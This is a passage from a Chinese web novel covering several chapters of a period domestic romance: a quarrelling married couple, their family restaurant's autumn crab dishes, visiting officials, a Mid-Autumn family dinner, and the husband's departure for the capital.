可裴元也有自己的道理,夫妻总分开本就不是好事,况且自己舍不得谢九九,谢九九也不放心自己,那不如就让谢九九把自己拴在她腰带上,到时候自己不回来都不行,岂不是正好。 正好?正好个鬼! 谢九九才不愿跟裴元一起去京城,裴元又实在想哄着她跟自己一起去。两人骨子里都不是肯相让的人,说着说着不知道怎么就变了味儿。 从一个哄一个不愿,稀里糊涂的就你一句我一句的呛呛起来。 说到最后谢九九怪裴元无理取闹,压根不看自己在饭庄里有多忙,裴元怪谢九九心里没他,自己是死是活去哪儿都不管,委屈大了! 谢九九晚上要盘账,裴元和谢文济在书院夜里也要读书写字,为此谢九九往家里成箱成箱买了不少黄蜡烛回来。 黄蜡烛比灯油点着亮,又没有烟熏火燎的味道,夜里点上两支罩上纱笼整个屋子不说跟白昼比,至少写字算账不废眼睛。 谢九九的五官不是长得特别锋利大气的那种,相反还颇为小巧玲珑娇憨可爱。 平时白日里她总一副笑意盈盈大方和气的样子对人,只有晚上回了房,坐在灯下被烛光映衬着,才莫名添了几分朦胧暧昧的成□□人的姿态。 饮食男女,裴元从来不隐瞒自己特别喜欢谢九九的容貌。只眼下他是真没工夫搞什么灯下看美人越看越精神,他现在就觉得自己被谢九九气得肝疼,她要是再不跟自己服软,自己就得气死了。 “你干嘛啊,腿哆嗦什么哆嗦,要坐就好好坐着,这屋里待不了你就给我出去。” “我如何待不了了,我看还是你不乐意见着我才是。我还没走你就这样,等我一走几个月,再回来还不知怎么嫌我。” 裴元气得浑身直哆嗦,没想到谢九九还嫌自己抖了腿。一时间心凉成一片,手指抬起来指着妻子你你你了半天都说不出一句整话。 最后发了狠,干脆起身往床上一躺连衣服都没脱,就这么抱着被子往架子床里侧一滚,只露出个散了发髻的脑袋出来冲着谢九九,浑身都散发着‘我要气死了,你可千万别跟我说话’的怒气。 谢九九才懒得搭理他,起身去拿铜壶里的温水洗漱梳头,等换了干净的睡袍又从衣柜里找了一床被子出来,这才不紧不慢在床外侧躺下。 睡下时还不忘撇一眼又往里侧挪了挪,恨不得把自己嵌到墙里面去的裴元,没好气地翻了个白眼,真是惯得他! 做夫妻就没有不吵架的,听说谢九九和裴元吵架,第二天一早全家除了谢文济和谢芝娘一听说姐姐姐夫吵架吓得不行之外,其他人都一副见怪不怪的样子。 黄娟舀稀饭的手顿了一下,就继续盛粥,“不吃那就是不饿,由着他们两个去,一天早饭不吃饿不死。” “是这个道理,亲家母说得对。孩子嘛哪有不磕磕绊绊吵嘴的时候,随他们去。” 因为有客人在,早饭做的格外丰盛。除了稀饭油条和炊饼,还另外准备了牛肉码字的鲜米粉。 炖了一晚上的红烧牛腩早就炖烂炖透了,连着浓浓的汤汁浇在早上出门买的新鲜米粉上,那叫一个香哟。 牛肉难得,寻常人家的老牛耕了一辈子地,轻易不会杀牛,有些心软的人家。 想要吃牛肉,很多时候都是所谓的‘病牛’‘摔伤了’,干不了活还怕把病传染给别的牛,才能‘无可奈何’把牛杀了吃肉。 因为少,所以牛肉在什么时候都不愁卖,也就是谢家做的是饭庄的生意,跟县城里外几个杀牛的人家都熟,每次有了牛肉都会多少留下一些送到谢家来。 昨天陈妈妈专门托人弄了老大一块牛腩肉回来,就是为了待客。而关如琅也确实更喜欢牛肉粉的味道,一大海碗吃了个精光。 至于外甥和外甥媳妇因为什么吵起来,刚光顾着吃粉没听清的关如琅,这会儿心满意足叹口气又转身问关令仪,“三姐,您方才说什么来着,他俩因为什么吵的。” 第48章 第48章满黄的母蟹 因为什么吵架,反正一晚上没睡好,来回翻饼子一样的裴元是闭口不谈。 两人成亲这么久,除了分开的时候就从没分过被子睡。昨天裴元自己发狠裹了被子睡到床里侧,其实就等着谢九九来扯他的被子。 只要她多扯两下,他肯定松手让给她了。谁知谢九九从柜子里另外拿了被子出来,躺下之后不到一刻钟就睡得呼呼的,连小呼噜都打成串了。 裴元脸朝着墙,身后就是想了又想惦记了又惦记的妻子,明明两人之间隔着两床被子,但他就是觉得整个后背脊骨都酥酥麻麻的,说不出是什么滋味。 还吵着架不愿低头,实在侧着身子睡不下去的裴元只能狠狠冷着脸,用脚蹬了蹬被子故意发出老大的动静,水牛翻身一样侧过来。 却不想谢九九睡得熟了,这么大的动静也没把人弄醒,只迷迷糊糊翻了个身面朝裴元这边很快就又睡熟了。 独留下裴元自己跟自己置气之余,还要努力把眼睛从谢九九对着自己的脸上挪开。这人睡着了一点儿恬静又天真,一点点醒着的时候能气死自己的样子都看不出来。 昨天夜里到底什么时候睡着的裴元已经不记得了,今天早上要说还有多生气也不至于,只不过是坐在床上睡眼惺忪的谢九九看也不看自己一眼,裴大郎君实在没台阶下来罢了。 到底娘和舅舅都在,裴元洗漱过束起长发便先一步往后院走,本想着等谢九九过来一起吃过早饭,再一起去云客来,这台阶不就有了吗。 谁知谢九九连早饭都不打算 在家里吃,从前院过来跟几个长辈请过安,就要出门。 “娘、母亲、舅舅,要过节云客来忙得很,我就先去饭庄里了,母亲和舅舅今日要是在家里待得无聊,就让……” 人的习惯真可怕,明明还在跟裴元赌气,但谢九九还是差点儿把裴元脱口而出。 还是裴元这厮坐在椅子上也不老实,像是屁股底下有针一样晃来晃去,才让谢九九反应过来,自己还没跟他和好呢! “就让承平和曹勇带路,在县城里逛一逛吧。我们这儿临着湖泽,虽然不比京城繁华但水产湖产还算有特色。城东有个临泽楼,顶楼靠窗的位置能看到湖泽最好的景色。” 湖畔芦荻绵延百里,芦花如雪风一吹又如波涛翻滚。远处的君山上枫叶渐渐红了,螃蟹也跟着肥了,坐在临泽楼上看看湖再吃上两只满黄的大母蟹,就是这秋日里最舒服的日子。 谢九九说这些的时候笑得眸子都亮了,看那样子就知道要不是在云客来赚钱更要紧,她自己早就去临泽楼吃螃蟹去了。 谢九九来的风风火火走的更加火火风风,裴元连一句‘我跟你一起去’都来不及说,人就已经跑得没影儿了。 谢九九一走,裴元整个肩膀都塌了下来,面上虽还勉强维持着,但任由谁都能看出来他此刻的丧气劲儿。 要是关令仪和关如琅不在,黄娟此刻肯定是要帮着女婿念叨几句女儿的不是。可现在亲家在,她反而不好说自己女儿的不是。 有些事跟对错没关系,只看人心站在哪边罢了。九九是自己的女儿,没有外人时对就是对错就是错,那没二话。可有外人的时候,九九对也是对错也是对,这也没有二话。 黄娟只能装作没看见女婿臊眉耷眼满肚子委屈的样子,转过头拉着关令仪寒暄。 “等过完中秋天气就该凉下来了,你们往北走肯定越来越冷,听他们说船上的东西都贵还不好吃,这几天我俩抽空多准备些经得住放的菜肉,到时候都带上。” “那就麻烦亲家母了。我也不跟您客气,都说我也北方人,可这些年其实都习惯咱们这边的口味,这一走也不知道什么时候才能再回来,别的都不想,就是这吃的肯定得惦记。” 关令仪不会再回府城了,关如琅一大早就派人去府城那小院收拾东西,只收拾金银细软和随身衣物,其余的能留给唐寡妇的就留给唐寡妇,不能留的扔了便是。 那个小院对关氏和裴元而言并无可留恋的地方,这些年两人相依为命,即便要回忆也是回忆母子二人之间的事情,那个小院着实可以跟裴老三一起,彻底抛诸脑后。 这一路去京城到底山高水远,好些东西黄娟都得帮着准备,两人说着说着就从两个孩子身上岔开来,没多会儿干脆起身往厢房去,也不知是要给关令仪拿什么东西。 裴元则被关如琅给留了下来,领着外甥往前院书房去准备见客。 今天一早容县的县令县丞和主簿托黄海送了帖子来,他们连什么时候上门来拜见关如琅都是仔细考量过的,想要在关大人跟前露脸就不能把屁股露出来。 心里再焦急也不能耽误关如琅过节,更不能抢在府城同知和通判老爷前面,他们的拜帖上写的日子都在中秋之后,那意思就是自己什么时候都有时间,就等着关如琅召唤。 而另一边从府城来的白同知和王通判,则抢在中秋节这一天赶紧派人把拜帖先送了来,人落后半步下午就能到县城。 做官做到同知和通判,上面不可能一点靠山都没有,他们对于关如琅的态度更微妙。 尤其白同知今年才三十五,王通判也才四十二,他们日后往上升迁的可能性不小,又都是正经的三榜进士出身,日后的前程能走到哪一步,两人都还满怀希望。 所以对于关如琅他们确实有交好之意,却也不至于谦卑谄媚,对于他们来说交好关如琅就是很自然的事情,万一有朝一日能去京城当官,跟关家这份面子情,指不定什么时候就能用上。 两人的拜帖送到谢家门上,老吴叔看着穿戴得比县城富户还要体面的管事脸都涨红了,人家说话文绉绉的他不知道该怎么回,只能硬着头皮嗯了一声。 “知道了,帖子会拿给关大人看,你们要不进来等会儿,看关大人怎么说。” “拜帖贵府收下就好,下午我家老爷来向关大人请教诗文,这会儿就不打扰大人休息了。” 老吴叔弄不明白这些贵人怎么这么麻烦,明知道要过节了还这个时候来请教诗文,什么绝世好诗就这么要紧。 接过拜帖的关如琅对此见怪不怪,在京城时府里也总有门生故吏下属官员上门拜见,这些人该见就得见,再慎独也不能真把自己过成独身一人。 而跟在关如琅身边见了一天的人,从紧张到应对自如再到隐约觉得无聊,直到频频走神连府城的王通判跟他说话他都没听见,也就大半个下午的时间。 关如琅见状拍拍裴元的肩膀。“拘了你一整天待闷了吧,去把关祥叫进来。” 裴元本想说不闷,又觉得当着亲舅舅的面说这样的假话没什么意思,起身冲白同知和王通判作揖行礼,便从书房里逃了出来。 他知晓关如琅的心意,让自己待在他的身边就是表明态度,告诉府城两个大老爷裴元身后站着关家。即便以后关如琅接关令仪回了京城,你们也别耳根子软,听着裴老三说什么就是什么。 不过裴元现在毕竟连个秀才都还没考上,作诗一道他着实不擅长,心里又老惦记着谢九九那边,与其陪在关如琅身边让几个人精看出来自己的心不在焉,倒不如先躲出来罢了。 出了门,说是随便走走,一走就走到了云客来门口。 本朝从开国起就一直有宵禁的制度,但宵禁的力度和时间一直都有南北差异。 据说京城每天一更三刻(晚上七点半)暮鼓敲响九门就会准时关闭,夜里有兵马司和锦衣卫巡夜督查,抓到没有夜行牌还在外游荡的人,初犯就得仗五十。 出了京城,宵禁之后管得就没那么严了。毕竟一个衙门里就这么些人,除了更夫打更的时候巡逻,想要抓住有心出门的人也很难。 更别提南方经济商贸发达的地区和岳州这种离着京城山迢水远的地方,早十来年岳州就已地处偏僻民生商业依赖水运湖泽码头为由,请旨把宵禁的时间延长至二更。 请旨的奏章送去京城并没有准确的回复,但各地许多大小商业繁荣的地方,都默许了把宵禁的时间推迟的二更(晚上九点)之后。 现在酉时过半,正是晚间进客最热闹的时候。 今天八月十四,这个时辰天色昏沉太阳落山,只剩一抹没褪净的夕阳照亮天空,而另一边月亮已经出来了。明天就是八月十五,今天的月亮已经又圆又亮,光辉反而比那抹夕阳更盛一些。 不过到底是夕阳亮还是月光亮,谢九九且没工夫琢磨。 今年容县的天冷得比往年早一点,从君山送来的螃蟹也比往年的要更肥。 清蒸的大螃蟹云客来也卖,但每天出货的数量就那么多。四两往上的满黄母蟹卖得不便宜,一只得卖到五十到八十文一只。至于到底是五十还是八十,得看当天送来的货多不多好不好。 在这样的时令菜上下功夫,是临泽楼那样的大酒楼要做的事。 谢九九见螃蟹好,专门要那些一两半到二两的螃蟹,再小也不成,再小就真的一点肉都没有了。 一两半到二两的螃蟹小归小但肉和黄都满了,螃蟹小一些壳还没那么硬。买来对半切开裹上面粉下油锅炸,炸香之后放大蒜辣子香料爆炒。 炒好了加水放糯米和鸭血混合的血粑和鸡爪煮,煮得差不多了倒进砂锅里,砂锅里铺上垫底的配菜被汤汁和螃蟹一烫,也就熟了。 这满满一大锅没什么稀罕菜色,价格却不低。本来是谢九九临时加的一道特色菜,想着卖得好久卖,卖不好明天不要这么多螃蟹就是。 没想到还真就卖得好,好得连萝卜丝煮鲫鱼都没什么人点了。看来天气一冷本地人还是更显辛辣重口的食物,吃着发汗舒服! 忙完了头一轮,谢九九从饭庄出来站在门口透透气,架了泥炉的香辣蟹香是香,但每桌一锅整个饭庄里都是这个味道,还是有些太冲人。 有些桌的客人还要喝酒,一个锅子能吃老久,中间还得加一次炭火。几个跑堂忙不过来谢九九还得帮忙,在里面的时候还好,出来风一吹才觉得自己都被腌入味了。 衣裳上满是烟熏火燎的味道,谢九九本想去后面洗个脸洗个手,也不知道因为什么,就好似感受到什么了一样又转身抬头去看,这才看见站在街对面的裴元,正傻愣愣的往自己这边看。 第49章 第49章你不是想拿银子收买我吧…… 云客来在南街的街口,斜对面没有店铺只有一颗老大老粗四季常青的大樟树。 平时总有些老太太和大娘们从家里拿了带靠背的矮椅子坐在树下,说话摘菜绣花纳鞋底,总之只要能拿在手上做的活计,就都要拿到大树底下来做。 谢九九每天从树底下过,都有好管闲事的大婶大娘们故意搭话,今天问云客来的生意好不好,明天问你家那女婿怎么老不见人。 生意好不好的,只看云客来每天进进出出的客人难道还看不出来。 至于裴元怎么不回来,起初谢九九还认认真真的解释青松书院离得远,回来不方便。 后来谢九九发现她们并不是真的在意裴元回不回来,只是想从自己这个整日在外抛头露面的小妇人嘴里问出些新鲜事,就能成为她们无聊间拿来品评的谈资。 那之后谢九九就不再跟她们搭话了,路过了心情好的时候点头笑笑就算打了招呼,心情不好的时候只当没见着,就这么目不斜视的路过。 本以为自己这幅做派会得罪她们,不曾想自己越是这么爱答不理的,每次打招呼的时候那几个格外多嘴多舌的大娘反而对自己更殷勤。 有两次路过还非要往自己手里塞一把糖,糖是那种自家做的麻糖,自家熬出来的饴糖撒上一碰炒香的芝麻,就是全家老少都能拿来甜嘴的好物。 拿了人家的糖,谢九九还不是得让韩婶子炸两包小鱼油团出来送过去。这么有来有往送过几回东西,谢九九才算跟那些大娘婶子们维持住了一点点默契的平衡。 现在裴元站在树下,那一点点平衡就又彻底打破了。几个大娘针线活也不做了,就凑在一起往裴元和谢九九这边看。 有个向来嗓门最大的胖大婶见谢九九发现了裴元,还非要多此一举地冲谢九九招手,再指一指裴元,“谢小娘子,你家相公找你来了。” 秋高气爽,裴元站在树下显得格外打眼又俊朗。 一身天水碧的直裰被风吹得微微摆动,露出一小截霜白的绵里衬。腰间没有挂配饰玉牌,只松松系着一条靛青色的腰带,腰带一侧挂着谢九九托谢文济带去府城的荷包。 荷包是谢九九的手艺,非要夸的话只能夸一句针脚走得密缝制得仔细。至于荷包上的并蒂莲,哪怕是甘愿入赘,被谢九九牵着心绪走的裴元,也只能捏着鼻子说一句:着实是用心了。 直裰宽袍广袖,越发衬得裴元露在袖口外的手腕手掌骨节分明。裴元很白,手背上的青色血管附着在白皙皮肉底下,如古藤缠绕顺着肌理往手腕小臂上蜿蜒。 平时不用力的时候不显,握笔或是俯身压在谢九九之上的时候,才会似弓弦蓄力凸显出来。 这会儿他左手随意垂落,右手食指和中指弯曲勾着一截细麻绳,麻绳裹住的是个不大不小的油纸包。油纸包包得厚实,谢九九还看不出他买的是什么。 黄昏时分是一整天里南城最热闹的时候,在码头干活的人赶着进城回家,早上从城外进来做生意办事的人也赶着出城。再加上出门吃饭的人,本就不算宽的街道,说是车水马龙并不夸张。 谢九九想往街那边走,刚迈步就被一辆马车拦住了去路,从马车上下来的是城东粮油铺的两个小娘子。 自从谢九九把云客来接过来当了掌柜,这两个小娘子就来得特别勤快。尤其最近谢九九上了特色菜,两人来的次数就更多了。 是熟客又是两个小娘子,谢九九把两人往饭庄里引,又扬声把秦娘子喊来,“带两位小娘子去二楼最里面的雅间,螃蟹拿四只清蒸的,今日的蟹满黄了,特别好。” “谢掌柜说好肯定就是好,我们喜欢吃什么只有你记得,就听您的安排。” 年轻的女郎能从城东到城西来饭庄吃晚饭,一定是喜欢美食的人。 可小姑娘天天吃辛辣的东西又不行,谢九九都看见两人中个高的那个下巴和脸颊冒了红疙瘩,上了脂粉都遮不住。 所以今日再吃香蟹锅是万万不能的,四只清蒸母蟹配上云客来秘制的调料,再来一份萝卜丝煮鲫鱼,别的菜都不必了,点了鲫鱼锅的都能送一份叶子菜或是面条。 鲜香浓郁的鱼汤被苗条或是叶子菜吸满了汤汁,味道比光口喝汤还要更好吃。 谢九九寒暄着把两个小女郎送上二楼,再转身时裴元已经从门口进来了。有几个熟客老饕认识裴元的,还笑着跟他打招呼。 “裴姑爷今天怎么有空过来,听说姑爷的舅舅从京城过来,这以后姑爷是不是要跟舅舅去京城啊,咱们谢掌柜跟不跟着去,去了我们可怎么得了。” 关如琅在容县待了不过两天,流言就已经传开了。 这几个食客话语间虽是玩笑但也夹杂了几分试探,对于他们来说谢德昌是老相识,谢九九也是他们看着长大的孩子。 裴元一个外来户,当了上门女婿本是挺好的事,现在突然冒出一个当大官的舅舅这就有点叫人摸不准脉了。在他们看来当上门女婿那都是被逼无奈,现在有好亲戚能倚仗,谁知道他还愿不愿意留下来。 “这话玩笑了,我家的老宅在此我的原籍也本县,成了亲成了家哪有说走就走的道理。” “方叔,谁说要走了,我的夫婿去哪儿不得我说了算。他不常来你们可别拿他打趣,好没意思的。” 裴元不是不会八面玲珑,但谢九九此刻就是不想看他被几个老食客调侃。干脆牵过他的手往后院走,也不管几个年纪大了的熟客,看着两人牵在一起的手哈哈直笑。 “你怎么来了,母亲和舅舅都在家里你也不陪着。” “云客来这么忙,是不是得想法子再招个掌柜的回来。” 后院和饭庄有一道厚厚的门隔开,就是为了防止有食客喝醉了酒稀里糊涂往后院冲,后头除了跟厨房连着一张小门还有一排库房和跑堂店小二的舍房,不能由着外人进进出出。 春儿往前面去的时候没忘了把厚门板关上,前面的熙攘热闹一下子就只剩隐约不分明的声音,连带一直精神抖擞的谢九九也忍不住塌了肩膀,长长叹出一口气来。 “掌柜不好找啊。”谢九九也觉得不能老这么下去,自己可以做一个天天守在店里的东家,但不能老这么靠自己一个人顶着。 今天出门以后,往云客来的一路上谢九九心里也在想,要是有个靠得住的掌柜,自己就是陪裴元去一趟京城又怎么了。 怎么说也是都城,这次不去下一次还不知道是什么时候。说不定还得等裴元考中举人,等那时他要进京赴考了,自己才能跟着去一趟。 可谁知道裴元能不能考上,怀才不遇的读书人太多了,有些事强求不得。 “等我出发往京城去,家里没这么多人没这么忙了,你托大舅帮忙寻摸着。要是找不到合适的,等我回来我们再去一趟府城,把潘掌柜请回来?” “能行吗?” “怎么不行,过年那段时间总要休息。过完年哪家饭庄的生意都不会太忙,我们赶在过年前去找潘掌柜,他要是愿意回来,过完年再给那边支应一两个月,等那边找着人了再回来。” 做生意就是这样,只要不是背地里使绊 子往下九流走,什么都是可以谈的。府城的大店从云客来把潘掌柜挖走是如此,现在裴元和谢九九生了把人请回来的心思,也是一样。 再说做生不如做熟,这个道理老韩适用潘掌柜自然也适用。 之前潘掌柜走,是因为云客来风雨飘摇不稳定,现在想把潘掌柜找回来,是因为云客来蒸蒸日上。 不需说潘掌柜当时见云客来不好就走了的话,他本就是一个掌柜,拿了东家给的工钱把他该做的事做到位就行了,云客来又不是他的,凭什么还要绑着人家同生共死。 谢九九要想长长久久的留住人,就得想法子让云客来一直这么生意兴隆下去,这跟关如琅想要庇护关令仪和还没有考取功名的裴元,就得关家一直强势昌盛是一个道理。 别怪人家自谋出路,有本事你自己一直巍峨挺立,你身边的人才会一直留在你身边。 有些事情上,谢九九和裴元的看法出奇一致。在重新把潘掌柜请回来这事上,一点也不需要再互相多费口舌。 但有些事上,两人又可以说是默契全无。裴元把荷包里的三十两银票拿出来递给谢九九,谢九九一脸防备的看着丈夫,“干嘛。” “你不会是想给我银子,哄我陪你去京城吧。” 谢九九连连摇头,别说给我银子让我回心转意不行,就是给我金子也不行啊!再说这才三十两,云客来现在一天的流水都有一二十两,这点银子够什么用啊。 “谢九九!” 谢九九没说出口的话都摆在脸上,气得裴元眼前一阵阵发黑。 方才站在街对面,看着谢九九在云客来里来回忙着,裴元的心一下子就安稳下来了。自己是离不得她,可她却不是离不得自己。 就如同自己不能不读书一样,谢九九也不能不赚钱,她注定做不成自己说要去哪儿她就能放下一切跟自己走的女子。既如此那就只能自己守着这颗心,早早的回来。 “你冲我喊什么啊。这银票你给我干嘛?” “你不是不去京城,这银子本就是准备给你做氅衣的,既不去又不做衣裳,那就把银子给你,你留着也好扔了也罢,总之给了你就随你的便吧!” 第50章 第50章我给你生一个读书种子…… 早上还置气的小夫妻,晚上回来的时候就又手牵着手了。 一进门正好碰上谢文济晕晕乎乎的从裴元的书房,这几天暂且腾出来给关如琅做客房的前院西厢出来,看见姐姐和姐夫回来眼眶都红了。 “姐夫,你之前我说读书努努力肯定能行,是不是哄我的话。” “啊?啊。怎么这么问啊。” 谢文济在读书一道上的天赋有限,这事裴元私底下跟妻子明说过,就如同自己在诗文上怎么用功也透着一股子匠气一样,谢文济的确不是个读书的料。 这几年头悬梁锥刺股的在青松书院读几年书,考个秀才问题应该不大,再往后就不好说了。要是能开窍说不定还能考中个举人,要是不开窍,恐怕还得在科举这条路上磋磨好些年。 至于能不能考中进士,反正那天晚上谢九九箍着裴元的脖子死命追问,也没能从他嘴里逼出一句自己想听的好话来。 向来还算圆滑聪明的裴郎君在这事上显得格外迂直,怎么都不肯说半句哄人的假话。 一直等到谢九九缠磨累了,倒在裴元身侧脑袋枕在他腿上,叹息谢家这一代人看来又没个读书的种子时,裴元才小小声哄她:再耐心等一等,再过几年我给你生一个读书种子。 裴元这话说得一本正经,人却是不正经得很。 再之后谢九九便也没精力去想谢文济到底有没有天赋读书的事,只在被裴元托着一下一下挥汗如雨的时候,浑想着这人要是不读书,说不定还能去考武状元,这精力也忒好了些! 不过那些说到底也都是夫妻私底下说的话,明面上从来没有显露过半分。谢九九想得通,谢文济现在还不大,考不上进士也不能不读书了。 都说读书明理,他即便以后跟着自己学怎么当云客来的掌柜,肚子里也不能没一点墨水。又或是书读得多了心思清明了,以后有自己想做的事那都可以。 况且现在就不读书了还能干嘛?他的身体是比小时候好了,却也只是比小时候好。真把他带到云客来去,他还是个手不能提肩不能抗的弱鸡崽子。 到时候别干活没学会,反而天天跟着那些老饕酒鬼学移了性情。要是再学坏一点,到时候自己和娘哭都没地儿哭去。 所以不管是裴元还是谢九九,对于谢文济的安排都不着急。行不行的都先在书院里读着呗,以后的事情以后再说。 谁知关如琅却不是这么想的,对于谢家一个小商户人家愿意花钱供一个读书人,他是打心眼里觉得是好事。毕竟外甥现在是谢家人,要是以后小舅子也能一起入仕,对外甥来说便是最天然的同盟和助力。 下午把客人送走,可不就捎带手把谢文济给叫过去了。 关如琅当年以二甲第八名入翰林院任编修,这个起点不可谓不高。随便挑拣四书里的句子考一考谢文济,就知道这孩子在读书一道上且还没开窍。 十四岁是不大,但对于读书人来说也不小了。要是这几年还不能开窍又一门心思只想考功名,那往后少说十来年都得吃些苦头了。 谢文济不好,谢家就没法好。谢家不好谢九九自然要多操心,谢九九整日围着谢家操心,自己外甥难道还能袖手旁观?这便是一大家子一荣俱荣一损俱损的粗浅道理。 谢家很知礼懂分寸,关如琅为了姐姐和外甥着想自然也不见外,点拨谢文济之余也把他天资不够,这几年须得下狠功夫才有可能考中秀才的事给点明了。 “我知我不是聪明人,姐夫为何没同我把话说明白我也懂。好在关大人把话给我挑明了,要不然我还得被姐夫哄着,是个读书的‘尚可’,往后前途‘不可估量’的天纵之才。” 谢文济面上有些故作的哀怨,更多的还是在故意跟姐姐告状,‘你看你看,你丈夫看在你的面子上光知道哄我了,也不说实话。’ 谁知谢九九一点点意外的神色都没有,还一副爱莫能助的表情对着谢文济。 张嘴想说什么又觉得说出来的话好像也不能安慰人,最后只得干巴巴的说了句:‘家里还有银钱供得起你,好好读书。’就再说不出别的什么话了。 气得谢文济愤愤然一跺脚,抱着关如琅从裴元的书房里挑出来拿给他的书就往后院走,看样子都不用问,就知道肯定是找黄娟告状去了。 谁知黄娟听儿子说完,反而还松了一口气。颇为怜惜的摸摸儿子头,“我就说你们姐弟三个都没走了谢家的种,哪有那么容易出个读书人。乖啊,咱们可千万别在这件事上强求。” 大女儿聪明得很,可聪明劲都放在赚钱做生意上。二儿子贴心有分寸,但要说聪慧伶俐哪怕黄娟是亲娘也说不出口。 小女儿芝娘从小是个话少的,聪明不聪明的还不好说,力气却是从小就大。这才不到十岁就能提着两个装满水的木桶,从后院的水井往厨房去。 三个崽子就老二这一个读书人,当娘的自然想儿子读书想他出息,可想归想自知之明也得有。这会儿听谢文济这么一说,人家非但没有失望,还觉得挺正常挺好。 状没告成,还被亲娘对于自己没天赋一事完全不意外给刺激大了的谢文济,气得晚上都没出来吃饭。 反倒是晚间来后院吃饭的关如琅听黄娟和谢九九说话,听明白是怎么一回事之后笑得不可自抑。 笑够了才拍手称好,谢文济读书没天赋不是大事,怕就怕家里人寄予厚望一昧强压,到最后书读不成人却废了,那才是鸡飞蛋打。 关如琅在谢家才住了短短几日,就已经渐渐觉出这 家人的好来。 谢家世代从商,士农工商,士族大家向来轻视商人,却也明白商场如战场的道理。 商人逐利,却也跟农人一样旱涝不定。生意好了赚得盆满钵满,生意不好或是年成不好,亏得倾家荡产也是常有的事。 尤其谢家是靠一副扁担起家,到谢九九这里算是传到第四代。没有走过大运也没有吃过大亏,才有了云客来这么个饭庄。 谢家比旁人更加懂得顺势而为,有赚自然最好,赚不到能保住不亏本亦可。实在没法子要亏本,只要别把老底子都亏了也行, 总之还有翻身的余地,睡一觉醒来第二天的日子照样能过。 所以不管是谢家人还是谢文济本身,清楚自己天赋有限走读书这条路注定要吃大苦头还不一定能有出息,失望又却也不多。 不说黄娟和谢九九,就是还在生气的谢文济其实也就那么回事。老吴叔已经偷摸去看过,生气是生气,但气着气着就困了的谢文济这会儿已经睡着了。 一家子没一个跟自己较劲的,关如琅吃过饭后忍不住抽空低声跟关令仪说了一句:“元哥儿留在容县,姐姐该放心了。” 第二天就是中秋,这个中秋对于现在住在谢家的每一个人来说都意义非凡。 谢家守孝守了三年,谢德昌去世的时间长了,日子过得和寻常人家没有什么不同,只有到了过节的时候才能体会到那种怅然和难受。 裴元已经三年没有跟关令仪一起过中秋,关令仪和关如琅已经三十三年没有一起过中秋,现在都团聚了,席面好酒和月饼反而成了陪衬。 一家人围坐一张老大的圆桌,除了承平和高义回家过节,家里两个妈妈和老吴叔、春儿、唐全、曹勇也没有再另起一桌。 对于谢九九来说他们也是一家人,这么好的一个中秋,就该大家一起过。 关如琅没吃过这么热闹的饭,几杯酒下肚便再没了平时的持重端庄,先是拉着裴元这个外甥喝酒,酒没喝多少又嫌裴元作诗没灵气,转头去找谢文济。 谢文济作诗刚入门,或许是本性更纯真,他憋出来的诗关如琅反而更喜欢些。 只是谢文济实在没有大过节还被人拉着吟诗作对的爱好,三下两下就给躲开了,关如琅只得又转过头拉着关令仪说话。 絮絮叨叨的,从自己说到家里,又从家里说到自己的妻儿,连大前年生的小儿子脑子好像不好使,启蒙已经气走了五个先生的事都说了出来。 听得关令仪一而再再而三的叹气,最后还是黄娟让唐全和曹勇把这位舅老爷扶会前院去,才解了关令仪的围。弟弟是个好弟弟,就是太啰嗦了。 关如琅设想得不错,今年中秋前后府城里最大的新鲜事就是关氏的娘家千里迢迢从京城来找女儿来,裴家二房的老三赔了外室没了儿子,弄了个鸡飞蛋打。 等到过完中秋,关如琅带着关令仪和裴元,准备从容县南城城外的码头上船回京的时候,府城的王通判和和李骏,县城的大老爷和两位二老爷都来了。 反而是收到消息当天就跟着来了容县的李骏李院监不见人,只有李家的奴仆恭敬地送了一份程仪给裴元。 李骏中秋前就跟着来了容县,但他是跟关家大爷有交情,这几年又一直在书院里当院监,即便想起复明面上也还是矜持。 所以即便人到了容县也并没有登门拜访,只是派家奴送了信笺给关如琅,请他代为转交给关家大爷。中秋之后跟裴元在临泽楼见了一面,嘱咐他这一路别忘了温习功课,便回去了。 几个老爷们各有各的盘算,或克制或殷勤,关如琅都客客气气的照单全收,谁也不冷落。 关令仪也并没有因为不舍而泪水连连,只是在一旁紧紧拉着黄娟的手,一再表示只要等自己安顿下来,裴元就马上回来。 而马上就要分离的小夫妻则是站在码头另一边,离给关如琅践行的那一堆人远远的,小小声说着话。 “现在知道舍不得了?晚了。” “你会不会说话,明知道我心里不得劲你还戳我肺管子。” “本来就是,那要不怎么着,我这会儿带你上船?” “你少胡说,我什么都没带,连一件换洗的衣裳都没有,跟你上船这一路非臭了不可。” 谢九九是舍不得了,手指紧紧勾着裴元骨肉匀停指节修长的小拇指,也不说话就这么来回的晃。晃得码头那边都催促了,才微红着眼眶问裴元。 “过年前能不能回来?” “能,肯定能。” “要是没回来怎么办。” “你说怎么办就怎么办。” 裴元很少见谢九九这般小女儿姿态,一时间都忍不住闷闷地笑出声来。在外面实在不好逾矩,只得抱住谢九九紧了紧,随即才不舍地把人放开转身登船。【你现在阅读的是 】 50-60 第51章 第51章外人?内人?? 送走关令仪关如琅姐弟和裴元,谢九九着实闷闷不乐了几天,直到从府城回来的黄金珠找上门来,她才强打起些精神来。 “你说你,人家求着你巴着你想要你跟着一起去京城你不去,现在人走了你又这幅茶不思饭不想的样子,何必呢。” 说话的是黄金珠,自从上次她从谢九九这么得了准话,回去就撺掇丈夫罗永去青松书院。 罗永本没有那么想去,但架不住黄金珠在他耳边一再念叨谢文济如今在青松书院读得怎么好,又说裴元在青松书院是有师承的,身后又有关家做靠山。 再加上自己跟谢九九的交情,去青松书院既能正儿八经读些书又能跟裴元这样的人攀上关系,难道不比天天在县城交好这个巴结那个要强。 罗永其实能看出来黄金珠的打算,但或许是他对家里的妾张氏并没有多少感情,又或是顾念黄金珠毕竟是从小一起长大的青梅。 亦或只是真的想要结识现在在他眼里闪着金光,早不是从前那个身世不清白外室子的裴元。总之在黄金珠缠了他几日之后,罗永点头答应想法子搬去府城,入青松书院读书。 从古到今多少年,拿银子铺路都是最俗气也是最管用的法子。罗永连家里的关系都没找,带着一匣子银票就上了山。 书院不缺钱,也从来不把银子往外推。李骏代表书院收下银票罗永就成了童子班丙班的正式学生,连旁听的半年都不用等。 他去了青松书院读书,黄金珠自然理直气壮地跟了过去。还真就同那次和谢九九说的那样,在书院山脚下买了个农家院搬了进去。 “谁说我茶不思饭不想了,我天天在云客来忙得脚打后脑勺的,中午得吃两碗饭,你看我这个小肚子,都是在云客来吃出来的。” 